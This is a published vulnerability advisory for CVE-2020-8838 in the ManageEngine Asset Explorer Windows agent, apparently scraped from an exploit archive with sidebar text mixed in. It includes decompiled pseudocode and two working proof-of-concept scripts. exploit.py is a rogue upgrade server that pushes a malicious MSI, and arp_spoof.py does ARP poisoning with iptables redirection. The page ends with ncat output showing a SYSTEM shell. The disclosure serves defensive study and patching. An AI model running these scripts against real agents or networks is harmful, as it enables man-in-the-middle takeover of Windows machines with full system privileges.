ManageEngine Asset Explorer Windows Agent Remote Code Execution

Authored by Sahil Dhar, xen1thLabs Posted May 8, 2020

The ManageEngine Asset Explorer windows agent suffers form a remote code execution vulnerability. All versions prior to 1.0.29 are affected.

tags | exploit, remote, code execution
systems | windows
advisories | CVE-2020-8838
SHA-256 | cad8acf833ae1fc01c1aff9970f2a1ebe51e3dedd74f0abacbf0957e483c2741 **Download** | **Favorite** | **View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

~~~
XL-2020-003 - Asset Explorer Windows Agent - Remote Code Execution

================================================================================



Identifiers

------------------------------------------------

* CVE-2020-8838

* XL-20-003



CVSSv3 score

------------------------------------------------

7.5 (AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)



Vendor

------------------------------------------------

ManageEngine - [https://www.manageengine.com/products/asset-explorer/]
(https://www.manageengine.com/products/asset-explorer/)



Product

------------------------------------------------

ManageEngine Asset Explorer windows agent is used by the ManageEngine's AssetExplorer software to discover
software assets installed on the windows machines.



Affected versions

------------------------------------------------

- All versions prior to 1.0.29



Credit

------------------------------------------------

Sahil Dhar - xen1thLabs - Software Labs



Vulnerability summary

------------------------------------------------

It was observed that, while upgrading the Asset Explorer's windows agent, it does not validate the source IP
address of server sending the UPGRADE request and downloads the agent binary via an insecure channel, allowing
an attacker on an adjacent network to execute code with `NT AUTHORITY/SYSTEM` privilиges on the agent machines
by providing arbitrary executables via MITM attack.



Techincal details

------------------------------------------------

Upon reversing the ManageEngineAssetExplorerAgent.exe binary, we observed that the agent server does not
validate the source of connection and accepts the command from any client. Following pseudo code shows this
behaviour.



```c

  v9 = 9000;

    if ( dword_493E38 )

      v9 = _wtoi(dword_493E38);

    if ( sub_40114F() )

      Log Function(...)

    if ( !sub_40117C() )

      Log Function(...)

    v10 = sub_401195(v9); /* listen on port 9000 */

    if ( v10 == -1 )

    {

      Log Function(...)

        ".\\.\\main\\src\\AEAgent.cpp",

        131,

        3,

        "Failed in create_server_sock. The port may be occupied by some other applications, try restarting the
agent after 30 minutes",

        v40);

      return 0;

    }

    while ( 1 )
~~~

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: **December 2022 <**

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

~~~
    {
      while ( 1 )
      {
        while ( 1 )
        {
          s = 0;
          v11 = sub_40101E(v10, &addr, (int)&s);
           v43 = v11;
          if ( v11 )
            break;
          closesocket(s);
          Log Function(...)
        }
        v12 = inet_ntoa(*(struct in_addr *)&addr.sa_data[2]);
        v13 = &v50;
        do
        {
          v14 = *v12;
          *v13++ = *v12++;
        }
        while ( v14 );
        *(_DWORD *)dword_493E54 = *(unsigned __int16 *)addr.sa_data;
        Log Function(...)
        Log Function(...)
        v15 = calloc(1u, 0xC8u);
        v48 = v15;
        if ( sub_401091(v11, v15, 200) > 0 ) /* read 200 bytes from the client socket */
          break;
        Log Function(...)
        if ( v15 )
          free(v15);
        sub_4011A4(v11);
      }
      v16 = 0;
```


The agent server then parses the command by splitting it with hash `#` character and send an authorization
request to AssetExplorer Management server using insecure HTTP connection. Following code snippets shows this
behaviour:
```c
// UPGRADE request parsing logic
v17 = strtok((char *)v15, "#");
                                                if ( v17 )
      {
        dword_493E5C = sub_40106E(v17);
        v18 = strtok(0, "#");
        if ( v18 )
        {
          dword_493E58 = (void *)sub_40106E(v18);
          v19 = strtok(0, "#");
          if ( v19 )
          {
            dword_493E60 = (void *)sub_40106E(v19);
            v16 = strtok(0, "#");
            if ( v16 )
            {
              v20 = strtok(0, "#");
              v46 = v20;
              if ( v20 )
              {
                dword_493E64 = (void *)sub_40106E(v20);
                v21 = strtok(0, "#");
                if ( v21 )
                  dword_493E68 = (void *)sub_40106E(v21);
              }
              if ( !memcmp(v16, "RDS-PROMPT", 0xBu) && v46 )
                v44 = atoi(v46);
            }
          }
        }
      }
```


```c
// send AUTH_TOKEN REQUEST to Server
sub_40112C(v2, L"%s?WSNAME=%s&AUTH_TOKEN=%s&AGENTID=%s&TASK=%s", (unsigned int)&off_47B4F0);
                Log Function(...)
                v13 = calloc(2u, 0x3E8u);
                v3 = _wtoi(v15);
                v4 = sub_4010DC(v0, v1, v3, v2, L"Get Task Info", &v13); /*DM Comment: Send http POST request*/
                v5 = 0;
                if ( v4 )
~~~

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other
SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

```
                                {

                                                v6 = _wtoi(v15);

                                                v7 = sub_4010DC(v16, v17, v6, v2, L"Get Task Info", &v13); /*DM
Comment: Send http POST request*/

                                                v4 = v7;




                /* DM Comment: sub_4010DC() function utimately resolving in HttpSendRequestExW Win API call  in
sub_406DD0() function */



                                v18 = HttpOpenRequestW(v16, L"POST", lpszObjectName, L"HTTP/1.0", &szReferrer,
0, dwFlags, 0);

                  if ( !v18 )

                    goto LABEL_38;

                LABEL_15:

                  while ( 2 )

                  {

                    v19 = 0;

                    while ( 1 )

                    {

                      if ( !HttpSendRequestExW(v18, &BuffersIn, 0, 0, 0) )
```

Upon receiving the `UPGRADE` command, the agent executes the following block of pseudo code, which ideally is supposed to send the request to an AssetExplorer management server to verify the authenticity of request.

As the connection is made over HTTP, an attacker can execute Man-in-the-middle (MITM) attack and act as an rougue AssetExplorer Management server and sends a success response for the malicious `UPGRADE` request triggered by them initially.

```c
  if ( !memcmp(v16, "UPGRADE", 8u) )

        {

         Log Function(...)

          v45 = (void *)sub_401122(lpWideCharStr);

          if ( !(unsigned __int8)sub_401109(v45, *(_DWORD *)dword_493E54, "success", v55) )

            Log Function(...)

          if ( v45 )

            free(v45);

          if ( !CreateThread(0, 0, sub_4010D7, L"UPGRADE", 0, 0) )

          {

            v46 = GetLastError();

            Log Function(...)

          }

        }
```

After receiving the successful response from the attacker's server, the agent server copies agentcontroller.exe binary in windows temp folder and executes the command `agentcontroller.exe -upgrade`. Following pseudo code shows this behaviour.

```c
                sub_40112C(v6, L"%s -upgrade", (unsigned int)L"agentcontroller.exe");

    }

    else

    {

      sub_40112C(v6, L"%s -r", (unsigned int)L"agentcontroller.exe");

    }

    sub_40105F(lpPathName, (int)v6, -1);

    free(v6);
```

The agentcontroller.exe when executed with `-upgrade` option, simply downloads the new/malicious binary residing at `/agent/ManageEngineAssetExplorerAgent.msi` server path using insecure HTTP connection and executes it.

```c
/*DM Comment: Pseudo code for agentcontroller.exe downloading and executing the malicious .msi binary using
windows msiexec utility*/



  if ( sub_40105F((int)v0, lpszServerName, v4, (int)L"/agent/ManageEngineAssetExplorerAgent.msi", v2)

      && (v5 = _wtoi(v15), sub_40105F((int)v0, v17, v5, (int)L"/agent/ManageEngineAssetExplorerAgent.msi", v2))
)

    {

      Log Function(...)

      sub_4010BE(

        v1,

        L"%s?status=failed&agentId=%s&wsName=%s&action=%s&error=%d",

        (unsigned int)L"/discoveryServlet/AgentStatusServlet");

      sub_401005((int)v0, (int)lpszServerName, (int)v17, v15, (int)v1);

    }

    else

    {

      Log Function(...)

      v6 = (wchar_t *)calloc(2u, 0x3E8u);

      v7 = (int)v6;

      if ( v6 )

        sub_4010BE(v6, L"MsiExec.exe /i %s /q ALLUSERS=1 /log aeagent_msi_install.log", (char)v18);
```

~~~~
Proof of concept
-------------------------------------------------
Following POC exploit scripts can be used in conjuction to serve a malicious MSI binary to the agent which will
be executed with `NT Authority/System` privileges.


**exploit.py**
```python
#!/usr/bin/env python
# Author: Sahil Dhar (@0x401)
# usage: python3 exploit.py <target>


from http.server import  BaseHTTPRequestHandler
from http.server import  HTTPServer
import code
import os
import threading
import socket
import sys
import ssl



class RequestHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        self.server_version = "-"
        self.sys_version = ""
        if 'AUTH_TOKEN' in self.path:
            response_body = "true"
            print("Received AUTH_TOKEN request")
            # print(self.path)
            # print(self.headers)
            self.send_response(200)
            self.send_header("Set-Cookie","SDPSESSIONID=D37A2BD8EE495690AF4A85C8876A11B2; Path=/; HttpOnly")
            self.send_header("Content-Length",len(response_body))
            self.end_headers()
            self.wfile.write(bytes(response_body.encode("utf-8")))

        else:
           # print(self.path)
            self.send_response(404)
            self.end_headers()
            self.wfile.write("<br>POST".encode('utf-8'))

    def do_GET(self):
        self.server_version = "-"
        self.sys_version = ""
        agent_data = open("aeagent2.msi", 'rb').read()
        if 'ManageEngineAssetExplorerAgent.msi' in self.path:
            response_body = agent_data
            print("Received binary package request")
            print(self.path)
            print(self.headers)
            print("Malicious binary sent")
            self.send_response(200)
            self.send_header("Set-Cookie", "SDPSESSIONID=D37A2BD8EE495690AF4A85C8876A11B2; Path=/; HttpOnly")
            self.send_header("Content-Length", len(response_body))
            self.send_header("Accept-Ranges", "bytes")
            self.send_header("Connection", "close")
            self.end_headers()
            self.wfile.write(bytes(response_body))
        else:
            print(self.path)
            self.send_response(404)
            self.end_headers()
            self.wfile.write("<br>GET".encode("utf-8"))



def send_upgrade_packet(ip, port=9000):
    """by default exploit will send an UPGRADE packet on port 9000"""
    agent_auth = "ABBBBB"
    agent_id = "WIN-1D8NLD1QO81_1555159094695"
    operation = "UPGRADE"
    data = agent_id + "#" + agent_auth + "#" + agent_id + "#" + operation
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    ssl_sock = ssl.wrap_socket(sock)
    ssl_sock.connect((ip, int(port)))
    ans = input("Send Exploit ?")
    if ans.lower() in 'yes':
        print("Sending UPGRADE request...")
        ssl_sock.send(data.encode('utf-8'))
        print(ssl_sock.recv(1024))
        ssl_sock.close()
~~~~

~~~~
def main():
    """ ManageEngineAssetExplorerAgent Exploit in default configurations"""
    agent_ip = sys.argv[1]
    local_server_port = 443

    server = HTTPServer(('', local_server_port), RequestHandler)
    if len(sys.argv) > 2:
        if sys.argv[2] == '--ssl':
            server.socket = ssl.wrap_socket(server.socket, certfile="./server.pem", server_side=True)
            print("HTTPS Server listening at %d" % local_server_port)
    else:
        print("HTTP Server listening at %d" % local_server_port)
    server_thread = threading.Thread(target=server.serve_forever)
    server_thread.start()
    client_thread = threading.Thread(target=send_upgrade_packet,args=(agent_ip,))
    client_thread.start()

if __name__=="__main__":
  main()
```

**arp_spoof.py***
```python
#!/usr/bin/env python
# Author: Sahil Dhar (@0x401)
# usage: python3 arp_spoof.py <target> <upgrade_server> <target_port> start



from scapy.all import *
import logging
import time
import signal
import os

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)



def get_mac(ip):
    res, unres = arping(ip)
    for s, r in res:
        return r[Ether].src



def arp_restore(victim_ip, router_ip, victim_mac, router_mac):
    send(ARP(op=2, psrc=victim_ip, pdst=router_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victim_mac), 3)
    send(ARP(op=2, psrc=router_ip, pdst=victim_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=router_mac), 3)



def arp_poison(victim_ip, router_ip, victim_mac, router_mac):
    """As we are not defining hwsrc, the hwsrc will be taken as our
    hardware mac address and thus putting us between victim and router"""

    send(ARP(op=2, psrc=router_ip, pdst=victim_ip, hwdst=victim_mac))
    send(ARP(op=2, psrc=victim_ip, pdst=router_ip, hwdst=router_mac))



def create_env(port=8080):
    cmds = set()
    os.system("iptables -t nat -F")
    print("Iptables NAT cleared")
    print("Ip foward rule inserted");
    cmds.add('echo "1" > /proc/sys/net/ipv4/ip_forward')
    cmds.add("iptables -t nat -A PREROUTING -p tcp --destination-port %s -j REDIRECT --to-port %s" % (port,
port))
    for cmd in cmds:
        time.sleep(1)
        os.system(cmd)



if __name__ == '__main__':
    _server_port = sys.argv[3]
    _victim_ip = sys.argv[1]
    _router_ip = sys.argv[2]
    _router_mac = get_mac(_router_ip)
    _victim_mac = get_mac(_victim_ip)

    create_env(port=_server_port)

    def signal_handler(signal, frame):
        print("Restoring ARP Cache...")
        arp_restore(_victim_ip, _router_ip, _victim_mac, _router_mac)
~~~~

```
        os._exit(0)


    signal.signal(signal.SIGINT, signal_handler)

    if sys.argv[4] == "start":

        while 1:

            arp_poison(_victim_ip, _router_ip, _victim_mac, _router_mac)

            time.sleep(1.5)
```

```
#~ ncat 192.168.56.101 4141

Microsoft Windows [Version 10.0.16299.1268]

(c) 2017 Microsoft Corporation. All rights reserved.



C:\Windows\system32>whoami

nt authority\system
```

```
Solution

------------------------------------------------

Upgrade AssetExplorer to the latest version.


Timeline

------------------------------------------------

    20-06-2019 - Reported to vendor

    20-06-2019 - Vendor acknowledgement

    20-01-2020 - Patch released

    05-05-2020 - xen1thLabs public disclosure
```

Login or Register to add favorites